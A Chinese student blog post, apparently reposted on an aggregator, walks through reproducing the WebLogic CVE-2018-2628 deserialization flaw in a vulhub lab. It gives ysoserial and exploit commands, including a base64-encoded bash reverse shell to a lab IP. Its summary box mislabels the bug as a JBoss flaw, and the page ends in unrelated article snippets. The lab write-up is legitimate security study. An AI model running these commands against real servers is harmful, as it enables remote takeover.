java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

b1c51ed0e15122a74a8edd251e71df10.png

学生会私房菜

学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题。

本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-2628)漏洞复现》

6d46c9824f9ff6da180d70726b153bfe.png

作者介绍:Chow

Chow,一个行走的“十万个为什么”,喜欢学自己兴趣所向的知识,虽然现在还是个弱鸡,但是学就完事啦!

一、基本信息

一. 基本概要

发布时间:2017年11月22日

漏洞名称:JBOSSAS5.x/6.x反序列化命令执行漏洞

威胁类型:远程命令执行

CVE编号:CVE-2018-2628

影响版本:Weblogic 10.3.6.0、Weblogic 12.1.3.0、Weblogic 12.2.1.2、Weblogic 12.2.1.3

漏洞描述:CVE-2018-2628为CVE-2017-3248修复版本的绕过,远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,并可获取目标系统所有权限。

二、基本环境和工具

9bf30095b27414d7160e0dac7bcbcae4.png

1. 靶机环境:

靶机操作系统:Ubuntu

漏洞环境:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/

下载:https://vulhub.org/#/docs/install-docker-one-click/

使用说明:

执行以下命令启动Weblogic 10.3.6.0:

cd vulhub/weblogic/CVE-2018-2628

docker-compose up -d

   访问访问http://your-ip:7001/console,初始化整个环境。

2. 操作机环境:

操作操作系统:Kail

检测和发现工具

工具名称:CVE-2018-2628-MultiThreading

工具安装:下载.py文件即可

工具使用说明:2-操作机批量检测脚本CVE-2018-2628-MultiThreading使用说明.doc

工具下载地址:https://github.com/aedoo/CVE-2018-2628-MultiThreading

3、EXP/利用工具

工具名称:44553

工具安装:下载.py文件即可

使用说明:参阅漏洞利用步骤即可

下载地址:https://www.exploit-db.com/exploits/44553

需要配合ysoserial

ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)

三、利用过程

(详细说明漏洞的利用过程,要求以拿到webshell权限为利用过程)

1. 利用的条件/漏洞特征

利用Kail下的nmap工具,检测weblogic版本信息和t3协议是否开启。

2cfa90554208684c3dd88001b5a121af.png

2. 漏洞利用步骤:

步骤1  开启监听服务JRMPListen

本地开启监听服务JRMPListen,利用ysoserial的JRMP对998端口监听

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

#[command]即为想执行的命令,而[listen port]是JRMP Server监听的端口。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 998 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xMjkvNjc2NyAwPiYx}|{base64,-d}|{bash,-i}"   #引号内为反弹shell到192.168.160.129 6767端口经过base64加密后的指令

ce01cabc047b58f167d7b7119f560d08.png

步骤2  新开一个终端,监听反弹shell的端口

nc -lvp 6767

a3ba8ab14ffacebf26055aa348211f94.png

步骤3  利用exploit脚本攻击

命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

#目标ip就是weblogic的ip。端口weblogic的端口

#ysoserial路径就是上方使用的ysoserial的路径

#JRMPListener port为主机端口,就是我使用的Kail,监听端口上方998

#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

python CVE-2018-2628exploit.py 192.168.160.134 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.160.129 998 JRMPClient

bef836ca555a49e8ad757d2e293dbefc.png

步骤4  成功反弹shell

26a9dbb87bd668361600f9b99faff2dd.png

四、原理分析

320c31ccd65f5754797e376063305390.png

CVE-2018-2628原理为在CVE-2017-3248补丁中用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass处理rmi接口类型,这个resolveProxyClass只对 java.rmi.registry.Registry接口进行了判断,找一个其他的rmi接口即可绕过,比如java.rmi.activation.Activator。

eb75f504f23df378f0fba30caa2d76bb.pngeb75f504f23df378f0fba30caa2d76bb.pngeb75f504f23df378f0fba30caa2d76bb.pngeb75f504f23df378f0fba30caa2d76bb.png

6f44e142d7d020bb51d1e88f8e73b4c9.png国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,下设部门有技术部和综合部。

如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!

学生会信箱:

student@goktech.cn

【往期精彩内容】

国科学院学生会的“小确幸”瓶子,你能涂满几个?

学生会私房菜【202008011期】《Apache Shiro 1.2.4反序列化漏洞》

学生会私房菜【20200804期】String详解

学生会私房菜【20200723期】S2-045 Remote Code Execution漏洞利用

聚资讯,融技术,访精英▏【学生会信箱】开通啦!

讲师预备生唐欢——加入国科遇见更优秀的自己

王少怀

国科学院(厦门基地)学生会指导老师

ad76bcbb818ae1abfcd5755b864067ec.png

王阳

国科学院(泉州基地)学生会指导老师

e52361ffe75b22d5874c9847b447508c.png

王建

国科学院(福州基地)学生会指导老师

4110b882b532be09695ec6662b6206f7.png

曹博文  

国科学院(成都基地)学生会指导老师

828130c9c9cc568c3d8742f9d09f79de.png

a837ec8d8dd3c1e08e58182df5219704.png

8e13b06d61bedae9e03b52d0fdf489e6.png8cde65efafa2d459435cad8e6f2e17e9.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/360270.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ASP.NET伪静态-无法读取配置文件,因为它超过了最大文件大小的解决办法

一直都在使用微软URLRewriter,具体的使用方法我就不多说了,网上文章很多。 但最近遇到一个问题,就是当web.config文件里面设置伪静态规则过多,大于2M的时候,就报错:无法读取配置文件,因为它超过…

java定义list_我的Java Web之路59 - Java中的泛型

本系列文章旨在记录和总结自己在Java Web开发之路上的知识点、经验、问题和思考,希望能帮助更多(Java)码农和想成为(Java)码农的人。目录介绍再谈Java中的类型为什么需要泛型?Java中的泛型泛型类型泛型方法总结介绍还记得我在这篇文章(我的Java Web之路3…

通过更改透明度使图片为透明

使用AlphaBlend函数 函数功能 该函数用来显示具有指定透明度的图像。函数原型 AlphaBlend(HDC hdcDest,int nXOriginDest,int nYOriginDest,int nWidthDest,int hHeightDest,HDC hdcSrc,int nXOriginSrc,int nYOriginSrc,int nWidthSrc,int nHeightSrc,BLENDFUNCTION blendFunc…

(转)CocoaPods:管理Objective-c 程序中各种第三方开源库关联

在我们的iOS程序中,经常会用到多个第三方的开源库,通常做法是去下载最新版本的开源库,然后拖拽到工程中。 但是,第三方开源库的数量一旦比较多,版本的管理就非常的麻烦。有没有什么办法可以简化对第三方库的管理呢&…

为什么子进程每次执行顺序不一样_看完这篇还不懂Redis的RDB持久化,你来打我...

推荐观看:Redis缓存穿透的终极解决方案,手写布隆过滤器_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili​www.bilibili.comP8架构师串讲:Redis,zookeeper,kafka,Nginx等技术_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili​w…

Spring XD用于数据提取

Spring XD是一个功能强大的工具,它是一组可安装的Spring Boot服务,可以独立运行,在YARN或EC2之上运行。 Spring XD还包括一个管理UI网站和一个用于作业和流管理的命令行工具。 Spring XD是一组功能强大的服务,可与各种数据源一起使…

JDK 9 REPL:入门

会议是聚会Java名人的好地方。 Devoxx France是与Java语言架构师,前同事和老朋友Brian Goetz( briangoetz )见面的一个机会。 我们谈论了JDK 9,而他全都热衷于REPL。 他提到,尽管Java SE 9中有很多重要功能 &#xff0…

sinaapp mysql连接_手把手教你在新浪云上免费部署自己的网站--连接数据库

看完之后,默认你知道怎么将代码上传到新浪云SAE,并且能够成功运行,连接数据库之前,你必须先创建有一个应用。现在我创建一个名称为sampleone的应用,如下图点击左侧的代码管理,选在右侧创建一个版本然后就会…

7 centos 查看程序文件数量_解析CentOS 7中系统文件与目录管理

LINUXLinux操作系统解析CentOS 7中系统文件与目录管理Linux目录结构Linux目录结构是树形的目录结构根目录所有分区、目录、文件等的位置起点整个树形目录结构中,使用独立的一个“/”表示常见的子目录目录目录名称目录目录名称/root管理员家目录/bin所有用户可执行命…

python动态绘图并保留之前绘图_[转]基于Python实现matplotlib中动态更新图片(交互式绘图)...

最近在研究动态障碍物避障算法,在Python语言进行算法仿真时需要实时显示障碍物和运动物的当前位置和轨迹,利用Anaconda的Python打包集合,在Spyder中使用Python3.5语言和matplotlib实现路径的动态显示和交互式绘图(和Matlab功能类似)。Anacond…

一步一步学Silverlight 2系列(25):综合实例之Live Search

概述 Silverlight 2 Beta 1版本发布了,无论从Runtime还是Tools都给我们带来了很多的惊喜,如支持框架语言Visual Basic, Visual C#, IronRuby, Ironpython,对JSON、Web Service、WCF以及Sockets的支持等一系列新的特性。《一步一步学Silverlig…

gateway中的局部过滤器_Spring Cloud Gateway中的过滤器工厂:重试过滤器

Spring Cloud Gateway基于Spring Boot 2,是Spring Cloud的全新项目,该项目提供了一个构建在Spring 生态之上的API网关。本文基于的Spring Cloud版本为Finchley M9,Spring Cloud Gateway对应的版本为2.0.0.RC1。Spring Cloud Gateway入门一文介…

cocos2d-x for android配置 运行 Sample on Linux OS

1.从http://www.cocos2d-x.org/download下载稳定版 比如cocos2d-x-2.2 2.解压cocos2d-x-2.2.zip,比如本文将其解压到 /opt 目录下 3.运行 android-buildsetup.sh,运行之前需要先设置3个环境变量,如将以下变量写到文件 /etc/profile中 export ANDROID_SDK_ROOT/opt/android-sdk-…

转变馆藏

您是否曾经想替换过HashSet或HashMap使用的equals和hashCode方法? 或者有一个List的一些元素类型伪装成的List相关类型的? 转换集合使这成为可能,并且本文将展示如何实现。 总览 转换集合是LibFX 0.3.0的一项功能,该功能将在今天…

Spring Boot和Swagger UI

我已经一年没有从头开始开发Spring Web应用程序了,如果我不参加QA自动化工程师的培训,那么这段时间甚至会更长。 由于这个原因,我开发了一个示例REST应用程序。 除了Swagger,一切对我来说都很熟悉。 因此,我将描述我在…

mysql5.7.22打不开_windows下mysql-5.7.22-winx64突然启动不了,报错Could not open log file

本文摘自classinstance.cn。windows下mysql-5.7.22-winx64突然启动不了,感觉启动几秒钟后就自己关闭了,看了下启动日志:2019-08-25T10:57:08.389404Z 0 [Warning] option wait_timeout: unsigned value 31536000 adjusted to 21474832019-08-…

把python37添加到环境变量配置_关于在win 10上成功创建一个Django项目时遇到django-admin的手动配置环境变量问题。...

前言初学Python Web 在创建第一个Djang项目的时候出现了很多的问题,今天和大家分享并记录一下这次艰难的历程!一、官网下载Python以及安装Django1、Python的下载安装链接:大家最好使用谷歌浏览器,因为翻译的很到位(大家下载最新版…

在Ant中显示路径

在博客文章Java and Ant Properties Refresher和Ant <echoproperties /> Task中 &#xff0c;我写了一篇关于如何了解Ant构建如何看到属性的文章&#xff0c;这有助于更好地理解构建。 通常情况下&#xff0c;在构建过程中看到构建中使用的各种路径也很有价值&#xff0c…

Azure开发者任务之一:解决Azure Storage Emulator初始化失败

初学Windows Azure&#xff1a; 我打算开始学习Windows Azure。我安装了Azure SDK&#xff0c;然后在“Cloud”标签下选择Windows Azure模板&#xff0c;创建了一个项目&#xff0c;然后又创建了一个Web角色。 在aspx文件上&#xff0c;我只添加了一个标签&#xff0c;但是当我…

java运行python3_python写脚本并用java调用python(三)

1)编写mytest.py完成一个简单加法计算# coding:utf8#def 表示一个方法 adderdef adder(a, b):return ab#这里执行adder方法并打印出结果print adder(1,2)2)运行以上脚本方式如图12 3 打印成功&#xff01;3)java调用python脚本的两种方式Process process Runtime.getRuntime(…